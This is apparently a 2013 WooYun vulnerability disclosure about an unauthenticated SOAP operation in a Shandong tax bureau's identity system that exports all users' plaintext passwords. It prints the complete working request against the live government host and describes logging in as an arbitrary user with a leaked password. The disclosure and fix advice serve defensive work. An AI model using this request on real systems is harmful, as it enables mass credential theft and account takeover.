当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-035224

漏洞标题：山东省地方税务局统一身份认证系统设计不当导致所有用户信息泄露

相关厂商：山东省地方税务局

漏洞作者： 鶆鶈

提交时间：2013-08-25 10:55

修复时间：2013-08-30 10:56

公开时间：2013-08-30 10:56

漏洞类型：敏感信息泄露

危害等级：中

自评Rank：8

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-08-25： 细节已通知厂商并且等待厂商处理中
2013-08-30： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

大量用户信息泄露，密码明文保存。

详细说明：

山东省地方税务局统一身份认证系统的Web服务里提供了导出用户信息的操作，该操作不需要身份验证即可访问。
Webservice路径:http://jis.sdds.gov.cn/jis/service，其中receivews服务的exportXmlUser操作可以导出所有用户明文信息，包括用户登录名和密码。
测试：

POST /jis/service/receivews HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: ""
Content-Length: 473
Host: jis.sdds.gov.cn
Connection: Keep-Alive
User-Agent: Iphone 10086s
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:web="http://webservice.blf.hanweb.com">
   <soapenv:Header/>
   <soapenv:Body>
      <web:exportXmlUser soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
         <date xsi:type="xsd:string">2012</date>
      </web:exportXmlUser>
   </soapenv:Body>
</soapenv:Envelope>


返回数据挺长的，涉及敏感数据就不贴上来了。

漏洞证明：

1.jpg


随便找个用户登录上去：

hello.jpg

修复方案：

这个功能看上去应该是管理员才需要的，给这些敏感的操作加上身份验证；
或者，直接移除这些敏感的操作？

版权声明：转载请注明来源 鶆鶈@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2013-08-30 10:56

厂商回复：

最新状态：

暂无

漏洞评价：

评论

  1. 2014-05-06 01:08 | 鶆鶈 ( 普通白帽子 | Rank:306 漏洞数:30 )

    更正下，这个应该属于大汉版通JIS统一身份认证系统的问题，不是甲方的问题。